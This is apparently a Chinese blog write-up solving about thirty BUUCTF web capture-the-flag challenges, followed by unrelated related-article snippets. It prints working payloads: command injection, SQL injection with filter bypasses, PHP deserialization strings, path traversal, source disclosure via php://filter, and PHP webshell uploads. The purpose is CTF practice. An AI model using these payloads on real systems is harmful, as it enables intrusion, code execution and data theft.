BUUCTF——web刷题第一页题解
共31题,admin那题没有,因为环境问题,我做的非常卡
目录
极客大挑战 2019]Havefun
[HCTF 2018]WarmU
[ACTF2020 新生赛]Include
[ACTF2020 新生赛]Exec
[GXYCTF2019]Ping Ping Ping
[SUCTF 2019]EasySQL
[极客大挑战 2019]LoveSQL
[极客大挑战 2019]Knife
[极客大挑战 2019]Secret File
[强网杯 2019]随便注
[ACTF2020 新生赛]Upload
[极客大挑战 2019]PHP
[极客大挑战 2019]BabySQL
[极客大挑战 2019]Upload
[BJDCTF2020]Easy MD5
[极客大挑战 2019]BuyFlag
[RoarCTF 2019]Easy Calc
[ACTF2020 新生赛]BackupFile
[极客大挑战 2019]Http
[护网杯 2018]easy_tornado
[ZJCTF 2019]NiZhuanSiWei
[MRCTF2020]Ez_bypass
[SUCTF 2019]CheckIn
[GXYCTF2019]BabySQli
[MRCTF2020]你传你🐎呢
[GYCTF2020]Blacklist
[极客大挑战 2019]HardSQL
[网鼎杯 2020 青龙组]AreUSerialz
[GXYCTF2019]BabyUpload
[RoarCTF 2019]Easy Java
第一页
极客大挑战 2019]Havefun
查看源码:
直接出:
[HCTF 2018]WarmUp
?的截取
点开有一个滑稽,查看源码:
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
访问hint.php:
我们知道了flag的位置,来看源码:
file中的内容要包含source.php或hint.php
mb_strpos($page . '?', '?')——>返回?出现的位置,
然后进行urlencode解码,在判断一次
所以我们的payload:?file=source.php%253f../../../../../ffffllllaaaagggg
在上产的时候自动url解码1次,为%3f——>对应?
第一次执行mb_substr时没有?(此时为%3f),整体保留
第二次是因为前面解码过了成了source.php?../../../../../ffffllllaaaagggg
?后面截断,前面保留,故满足条件
至于../怎么搞,目录穿越一个个试
[ACTF2020 新生赛]Include
猜测为文件包含,使用filter流过滤器,十分基础的题:
?file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Exec
看到ping,马上反应过来127.0.0.1(本地回环地址)
猜测;后面添加要执行的命令
成功rce
然当,本地回环的方法不只这一个,其他方法可以去做ctfshow web入门的SSRF系列
[GXYCTF2019]Ping Ping Ping
IFS空格绕过
- IFS 是 Internal Field Separator(内部字段分隔符)的缩写。
- 默认值是空格、Tab 和换行符
${IFS},$IKS$1
————————
这题和上体类似,都是;后面命令执行,但这题禁了一些东西
空格用$IFS$1绕过,flag被ban了,*和?也是
?ip=127.0.0.1;f=ag;tac$IFS$1fl$f.php
还可以用这个
?ip=127.0.0.1;tac$IFS$1`ls`
将ls运行后的结果作为参数,用tac查看,得到的就是两个文件的内容
可以看到ban了这些
[SUCTF 2019]EasySQL
发现无论最后一个输入啥,都为1
试试堆叠注入
嗯然后这个好像就这样了
这道题式让我们自己去才sql语句,因为最后都是1,所以猜测有一个||,
题目sql语句如下: "select".post[‘query’]."||flag from Flag";
'query'即为我们传入的值
payload:*,1
然后就变成:select *,1 from Flag,就可以查询Flag中的所有东西了
[极客大挑战 2019]LoveSQL
#将后面的密码查询给注释掉了
回显位确定了
1'union select 1,2,database()# ——》 geek 库
1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# ——》 geekuser,l0ve1ysq1 表
1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#——》 id,username,password 列
1'union select 1,2,group_concat(password) from l0ve1ysq1#
——》给出了一个这东西
Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{b0b67ef8-9aa9-489b-ac5d-7f5e9bd1c4e2}'
[极客大挑战 2019]Knife
蚁剑连接
[极客大挑战 2019]Secret File
这题挺怪的,我看其他师傅有显示
但是我自己没有,算了,先抓包,访问action.php不要重定向
继续访问secr3t.php
出现了个这个东西
不能出现以上四个字符
filter过滤器:
解码得flag
[强网杯 2019]随便注
堆叠
这些是被ban了,大小写也是
尝试堆叠注入
1';show databases#——>ctftraining
1';show tables#——>
1';show columns from `1919810931114514`#
查列名为flag
1';handler `1919810931114514` open;handler `1919810931114514` read next#
即打开一个表,读取下一行
出flag
[ACTF2020 新生赛]Upload
自己写一个一句话木马,后缀改为jpg上传抓包改为pthml
蚁剑连接
[极客大挑战 2019]PHP
private变量%00
这个就是后台扫描,然后发现www.zip,访问下载
flag.php里面是假的flag
index.php
看一下class.php
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
一个简单的反序列化,绕过wake_up,给两个变量赋值
在PHP中,当类的成员变量被声明为private
时,为了确保这些变量名不会与继承层次结构中其他类的成员变量发生冲突,PHP在序列化过程中会将类名作为前缀添加到成员变量名之前,并用两个空字符(\0
)进行分隔。这样,在反序列化过程中,PHP能够准确地识别出哪些变量属于哪个类,即使子类或父类中有相同名字的成员变量也不会产生混淆。
因此,对于私有成员变量,序列化时在其名称前后加上\0
(在URL编码形式中表现为%00
),是为了保证数据的正确性和唯一性。这有助于在复杂的面向对象编程场景下维护数据的一致性和安全性
payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[极客大挑战 2019]BabySQL
这题发现union select 1,2,3#错误
显示查询语句有问题,有可能是被截取了
我们试试双写绕过:
1'ununionion seselectlect 1,2,3#
ok,然后就是照例
1'ununionion seselectlect 1,2,database()#——》 geek
我们输入:
1'ununionion seselectlect 1,2,group_concat(table_name) from information_schema.table_names where table_schema=database()#
发现where没了,双写绕过,然后发现还不行,后面试出来是or被过滤了,双写or
1'ununionion seselectlect 1,2,group_concat(table_name) frorom infoorrmation_schema.tables whwhereere table_schema=database()#
1'ununionion seselectlect 1,2,group_concat(column_name) frorom infoorrmation_schema.columns whwhereere table_name='geekuser'#
1'ununionion seselectlect 1,2,group_concat(password) frorom geekuser#
在另外一个表
1'ununionion seselectlect 1,2,group_concat(passwoorrd) frorom b4bsql#
[极客大挑战 2019]Upload
上传路径爆破
可以直接上传成功,但是我们还要知道具体的路径
常用的上传路径:
file/
fileRealm/
file\_manager/
file\_upload/
fileadmin/
fileadmin/\_processed\_/
fileadmin/\_temp\_/
fileadmin/user\_upload/
upload/
filedump/
filemanager/
filerun/
fileupload/
files/
files/cache/
files/tmp/
logfile/
paket-files/
profile/
profiles/
来bp爆破找出路径
这里不要url编码
找到路径为upload,访问,post出
[BJDCTF2020]Easy MD5
十分基础
直接数组绕过:?a[]=1&b[]=2
[极客大挑战 2019]BuyFlag
看源码
直接放payload:
用404a绕过数字检测,然后因为弱比较a被剔除
如果我们直接输入money,他会显示太长了,我们就是1e9(科学计数)
然后看到cookie中user=0,我们改成1
出flag
(money[]=1)也可以
[RoarCTF 2019]Easy Calc
挺好的一题
查询字符串绕过
.字符串拼接
chr()构造字符
发现字母啥的输了都不行,看看源码:
有一个cala.php
这里我们?num=的时候发现传不了,说是没权限
我们知道PHP将查询字符串转换为内部关联数组$_GET或关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”). 查询字符串在解析的过程中会将某些字符删除或用下划线代替
php需要将所有参数转换为有效的变量名,因此在解析查询字符串的时候,它会做两件事:
删除前后的空白符(空格符,制表符,换行符等统称空白符)
将某些字符转换为下划线
比如非常典的[,空格,+转_
所以我们就可以用" num",在前面加一个空格
ok,然后想想怎么命令执行
我们现在看看被禁止的函数:
还是很多的,目录查看我们可以用scandir
这个是没有回显的,我们需要print_r来输出结果,但是/没了,我们可以用chr(47)来代替
即:
? num=print_r(scandir(chr(47)))
读取文件内容:
我们用file_get_contents
? num=print_r(file_get_contents(chr(47).f1agg))
.
是字符串连接操作符,用于将两个字符串连接在一起
var_dump也可以
[ACTF2020 新生赛]BackupFile
先文件扫描,扫描出 /index.php.bak
访问,下载:
<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {exit("Just num!");}$key = intval($key);$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";
}
注意是弱比较,str那部分再比较的时候会变成123,直接key=123
[极客大挑战 2019]Http
抓包,然后发现Secret.php
考点是http,就根据提示来改
——》Referer:https://Sycsecret.buuoj.cn
——》User-Agent: Syclover
X-Forwarded-For:127.0.0.1
[护网杯 2018]easy_tornado
tornado是python的一个模板
根据提示,我们就知道filehash的计算方法,然后就是找cookie_secret
测试:
然后去找一个命令可以查看环境变量的
这里用handler.settings
当你创建一个Tornado Application
实例时,你可以传递一个设置字典给它的构造函数。这个字典包含了你想要在整个应用中使用的配置选项。然后,在你的请求处理器(handlers)中,你可以通过 self.settings
来访问这些设置
然后就开始md5加密了
[ZJCTF 2019]NiZhuanSiWei
使用data伪协议写入文件,然后直接包含useless.php不行,使用filter过滤器
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php
解码base64
然后这个就是一个非常简单的反序列化
<?php class Flag{ //flag.php public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
} $a=new Flag();
$b=serialize($a);
echo $b;
?>
echo直接就能调用toString方法
这里要把base64那个删掉否则出不来
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
查看源码得flag
[MRCTF2020]Ez_bypass
非常简单的题不赘述
[SUCTF 2019]CheckIn
.user.ini
这里我们使用.user.ini来做
auto_prepend_file=1.jpg即为把1.jpg指定, 指那么该文件就会被包含在要执行的php文件中 (index.php)
auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()
时该设置无效)
然后上传1.jpg(马)
蚁剑连接
可以看到index.php和这三个是一个目录的,所以在填url的时候可以用/或者指定index.php
[GXYCTF2019]BabySQli
mysql在查询不存在的数据时会自动构建虚拟数据
尝试万能密码
发现了这东西
先base32解码再base64解码,得到查询语句
select * from user where username = '$name'
如果我们输入正确的查询语句
显示密码错误,否则显示用户错误
输入这个
admin'union select 1,'admin',3'
找到username列的位置,因为mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5
我们就可以构造一个
嗯,用bp比较好一点,hacker容易出问题
[MRCTF2020]你传你🐎呢
测试后发现png可以上传
试试.htaccess
这个就是让1.png可以作为php文件执行
然后蚁剑连接就好了
[GYCTF2020]Blacklist
嗯,尝试一下堆叠注入
1';show columns from FlagHere#
和那个随便注一毛一样
1';handler FlagHere open;handler FlagHere read next#
[极客大挑战 2019]HardSQL
报错注入
extractvalue() 报错注入
like
right字符串截取
了解一下
这题也是过滤了很多,比如空格,union,=,# 但是%23没有过滤
首先我们先试试万能密码,
1'or'1'%23
发现没回显,所以我们就要用到报错注入:
username=1%27or(extractvalue(1,concat(0x5c,database(),0x5c)))%23&password=1
查库名——》 geek
然后查表名,=没了,我们用like
空格的话用括号
?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23&password=1
——》 H4rDsq1
?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23&password=1
——》 id,username,password
?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1)))))%23&passwor
这里实现位数别限制了,使用right函数(substring和mid被禁了)
?username=1%27or(extractvalue(1,concat(0x5c,(select(group_concat(right(password,30)))from(H4rDsq1)))))%23&password=1
flag{a3edc299-1e25-499b-a106-b6d5e1e14dcc}
[网鼎杯 2020 青龙组]AreUSerialz
源码:
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
已知flag.php
然后我们就需要用到read方法,为了调用read方法,我们要另op的值为2,虽然在_destruct中有
$this->op === "2"
但是他这个是强比较,比较的是2这个字符串,所以没影响,然后is_valid的作用是确保没有不可见字符
如果我们这里还是protect的话
就是不可见字符,所以我们对象的属性要变为public
只需要改这里,然后直接序列化
payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
(一开始看被吓到了,没想到这么简单)
[GXYCTF2019]BabyUpload
<script language='php'>eval($_POST[1]);</script>
和前面的 [MRCTF2020]你传你🐎呢 一个做法,不多赘述,只不过改为jpg形式
[RoarCTF 2019]Easy Java
help中出现这个:
这里先从别的师傅哪里抄一个理解
WEB-INF是java的WEB应用的安全目录。
WEB-INF目录(java)
WEB-INF/web.xml——web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
WEB-INF/classes——包含了站点所有用的class文件,包括servlet class和非servlet class
WEB-INF/lib——存放web应用需要的JAR文件
WEB-INF/src——源码目录,按照包名结构放置各个java文件
WEB-INF/database.properties——数据库配置文件
WEB-INF/tags——存放了自定义标签文件
WEB-INF/jsp——jsp 1.2 一下版本的文件存放位置。
WEB-INF/jsp2——存放jsp2.0以下版本的文件。
META-INF——相当于一个信息包
漏洞形成原因:
Tomcat的WEB-INF目录,每个j2ee的web应用部署文件默认包含这个目录。
Nginx在映射静态文件时,把WEB-INF目录映射进去,而又没有做Nginx的相关安全配置(或Nginx自身一些缺陷影响)。从而导致通过Nginx访问到Tomcat的WEB-INF目录
这里我们POST /Download?filename=WEB-INF/web.xml
发现有个FlagController
com.wm.ctf.FlagController,尝试下载,然后这个是个.class文件
POST /Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
找到有个像base64编码的东西
相关文章:

BUUCTF——web刷题第一页题解
共31题,admin那题没有,因为环境问题,我做的非常卡 目录 极客大挑战 2019]Havefun [HCTF 2018]WarmU [ACTF2020 新生赛]Include [ACTF2020 新生赛]Exec [GXYCTF2019]Ping Ping Ping [SUCTF 2019]EasySQL [极客大挑战 2019]LoveSQL [极…...

哪个品牌的智能对讲机好用?推荐1款,能扛事更智能
在专业通信领域,智能对讲机早已突破传统设备的局限,成为集通信、调度、数据传输于一体的智能化终端。面对复杂多变的作业环境,用户对设备的稳定性、通信效率和智能化水平提出了更高要求。但是,市面上产品同质化严重,部…...

【Win32 API】 lstrcpyA()
作用 将字符串复制到指定的字符串缓冲区。 函数 LPSTR lstrcpyA(LPSTR lpString1, LPCSTR lpString2); 参数 lpString1 类型:LPTSTR 一个缓冲区,用于接收由 lpString2 参数指向的字符串的内容。 缓冲区必须足够大才能包含字符串,包括终止…...

Vue3——Watch侦听器
目录 手动指定监听对象 侦听ref对象 侦听ref对象中的某个属性 reactive写法 watchEffect 自动侦听 多源侦听 一次性侦听器 watch 是⼀个⽤于观察和响应Vue响应式系统中数据变化的⽅法。它允许你指定⼀个数据源(可以是 响应式引⽤、计算属性、组件的属性等…...

Go的单测gomock及覆盖率命令
安装gomock: go get github.com/golang/mock/gomockgo get github.com/golang/mock/mockgen 使用 mockgen 生成 mock 代码: 参考 mockgen -sourceservice/user.go -destinationservice/mocks/mock_user_service.go -packagemocks go test -coverprofilecoverage.out…...

Leetcode209做题笔记
力扣209 题目分析:想象一个窗口遍历着这个数组,不断扩大右边界,让r。往窗口中添加数字: 此时我们找到了这个窗口,它的和满足了大于等于target的条件,题目让我求最短的,那么我们就尝试来缩短它&…...

Suna: 开源多面手 AI 代理
GitHub:GitHub - kortix-ai/suna: Suna - Open Source Generalist AI Agent 更多AI开源软件:发现分享好用的AI工具、AI开源软件、AI模型、AI变现 - 小众AI Suna 是一个完全开源的 AI 助手,可帮助您轻松完成实际任务。通过自然对话,…...

25-05-16计算机网络学习笔记Day1
深入剖析计算机网络:今日学习笔记总结 本系列博客源自作者在大二期末复习计算机网络时所记录笔记,看的视频资料是B站湖科大教书匠的计算机网络微课堂,每篇博客结尾附书写笔记(字丑见谅哈哈) 视频链接地址 一、计算机网络基础概念 …...

12 web 自动化之基于关键字+数据驱动-反射自动化框架搭建
文章目录 一、如何实现一条用例,实现覆盖所有用例的测试1、结合数据驱动:编辑一条用例,外部导入数据实现循环测试2、用例体:实现不同用例的操作步骤对应的断言 二、实战1、项目路径总览2、common 文件夹下的代码文件3、keywords 文…...

动态IP赋能业务增效:技术解构与实战应用指南
在数字化转型加速的今天,IP地址作为网络通信的基础设施,其技术特性正深刻影响着企业业务架构的效率与安全性。动态IP(Dynamic IP)作为互联网资源分配的核心机制,早已突破传统认知中的"临时地址"定位…...

【Java ee初阶】http(1)
HTTP 全称为“超文本传输协议”,由名字可知,这是一个基于文本格式的协议,而TCP,UDP,以太网,IP...都是基于二进制格式的协议。 如何区别该协议是基于哪种格式的协议? 形如这种协议格式…...
OkHttp用法-Java调用http服务
特点:高性能,支持异步请求,连接池优化 官方文档:提供快速入门指南和高级功能(如拦截器、连接池)的详细说明,GitHub仓库包含丰富示例。 社区资源:中文教程丰富,GitHub高…...

day18-数据结构引言
一、 概述 数据结构:相互之间存在一种或多种特定关系的数据元素的集合。 1.1 特定关系: 1. 逻辑结构 2.物理结构(在内存当中的存储关系) 逻辑结构物理结构集合,所有数据在同一个集合中,关系平等顺…...

我开源了一个免费在线工具!UIED Tools
UIED Tools - 免费在线工具集合 最近更新:修改了文档说明,优化了项目结构介绍 这是设计师转开发的第一个开源项目,bug和代码规范可能有些欠缺。 这是一个功能丰富的免费在线工具集合网站,集成了多种实用工具,包括 AI …...

什么时候可以开始学习深度学习?
咱们先来聊聊机器学习和深度学习的关系~ 这个问题其实挺常见的,之前我也跟不少同事、同学聊过。最近有好几个同学也聊过。 简单说,深度学习是机器学习的一个子集,两者不是并列关系,而是“包含”关系。 你可以这么理解ÿ…...

初学python的我开始Leetcode题8-5
提示:100道LeetCode热题-8-5主要是二叉树相关,包括三题:路径总和 III、二叉树的最近公共祖先、二叉树中的最大路径和。由于初学,所以我的代码部分仅供参考。 前言 二叉树完结撒花~ 下一次的图论会是一些有趣的应用案例~ 提示&am…...

构建RAG混合开发---PythonAI+JavaEE+Vue.js前端的实践
写在前文:之所以设计这一套流程,是因为 Python在前沿的科技前沿的生态要比Java好,而Java在企业级应用层开发比较活跃; 毕竟许多企业的后端服务、应用程序均采用Java开发,涵盖权限管理、后台应用、缓存机制、中间件集成…...

08.webgl_buffergeometry_attributes_none ,three官方示例+编辑器+AI快速学习
本实例主要讲解内容 这个Three.js示例展示了无属性几何体渲染技术,通过WebGL 2的gl_VertexID特性和伪随机数生成算法,在着色器中动态计算顶点位置和颜色,而不需要在CPU端预先定义几何体数据。 核心技术包括: WebGL 2的顶点ID特…...

26考研 | 王道 | 计算机组成原理 | 一、计算机系统概述
26考研 | 王道 | 计算机组成原理 | 一、计算机系统概述 文章目录 26考研 | 王道 | 计算机组成原理 | 一、计算机系统概述1.1 计算机的发展1.2 计算机硬件和软件1.2.1 计算机硬件的基本组成1.2.2 各个硬件的工作原理1.2.3 计算机软件1.2.4 计算机系统的层次结构1.2.5 计算机系统…...
转换算子介绍
### 转换算子的定义与用法 #### 定义 转换算子(Transformation Operators)是指用于处理分布式数据集的操作符,在大数据框架中广泛使用,例如Apache Flink和Apache Spark。这些操作符允许开发者对数据集执行各种变换操作࿰…...
Android学习总结之Glide自定义三级缓存(实战篇)
一、为什么需要三级缓存 内存缓存(Memory Cache) 内存缓存旨在快速显示刚浏览过的图片,例如在滑动列表时来回切换的图片。在 Glide 中,内存缓存使用 LruCache 算法(最近最少使用),能自动清理长…...
单片机开发软件
目录 纯编码 vscode Ardunio Keil 1. 集成化开发环境(IDE) 2. 多架构芯片支持 3. 高效的代码生成与优化 4. 强大的调试与仿真功能 5. 丰富的库函数与生态系统 6. 教育与企业级适用性 典型应用场景 半编码半图形化 STM32CUBEIED 1. 图形化配置…...

LeetCode100.2 字母异位词分组
观察题目,需要把strs中的元素按照字母进行归类,一个朴素的思路是:遍历strs,对每个元素排序后插入哈希表中,随后再遍历一遍表将其转化为vector<vector<string>>。 class Solution { public:vector<vect…...
深入了解 Stable Diffusion:AI 图像生成的奥秘
一、引言 AI 艺术与图像生成技术的兴起改变了我们创造和体验视觉内容的方式。在过去几年里,深度学习模型已经能够创造出令人惊叹的艺术作品,这些作品不仅模仿了人类艺术家的风格,甚至还能创造出前所未有的新风格。在这个领域,Sta…...
Python爬虫实战:研究ajax异步渲染加密
一、引言 在当今数字化时代,数据已成为推动各行业发展的核心驱动力。网络爬虫作为一种高效的数据采集工具,能够从互联网上自动获取大量有价值的信息。然而,随着 Web 技术的不断发展,越来越多的网站采用了 AJAX(Asynchronous JavaScript and XML)异步渲染技术来提升用户体…...
大语言模型训练的两个阶段
先说结论:第一阶段在云平台训练至收敛 第二阶段本地GPU微调 一、阶段划分的核心逻辑 阶段目标资源特点典型耗时占比成本敏感度预训练获取通用表征能力需要大规模分布式计算70-90%高(追求每美元算力)微调适配特定任务需要领域数据安全/低延迟…...

显示的图标跟UI界面对应不上。
图片跟UI界面不符合。 要找到对应dp的值。UI的dp要跟代码里的xml文件里的dp要对应起来。 蓝湖里设置一个宽度给对应上。然后把对应的值填入xml. 一个屏幕上的图片到底是用topmarin来设置,还是用bottommarin来设置。 因为第一节,5,7 车厢的…...
OJ判题系统第6期之判题逻辑开发——设计思路、实现步骤、代码实现(策略模式)
在看这期之前,建议先看前五期: Java 原生实现代码沙箱(OJ判题系统第1期)——设计思路、实现步骤、代码实现-CSDN博客 Java 原生实现代码沙箱之Java 程序安全控制(OJ判题系统第2期)——设计思路、实现步骤…...
css中的 vertical-align与line-height作用详解
一、vertical-align 详解 作用对象:行内元素(inline/inline-block)或表格单元格内容核心功能:控制元素在行框内的垂直对齐方式常用取值: baseline(默认):基线与父元素基线对齐top&a…...
vue数据可视化开发echarts等组件、插件的使用及建议-浅看一下就行
在 Vue 项目中使用 ECharts 进行数据可视化开发时,可以结合 Vue 的响应式特性和 ECharts 的强大功能,实现动态、交互式的图表展示。 一、ECharts 基础使用 1. 安装 ECharts npm install echarts2. 在 Vue 组件中使用 ECharts <template><div…...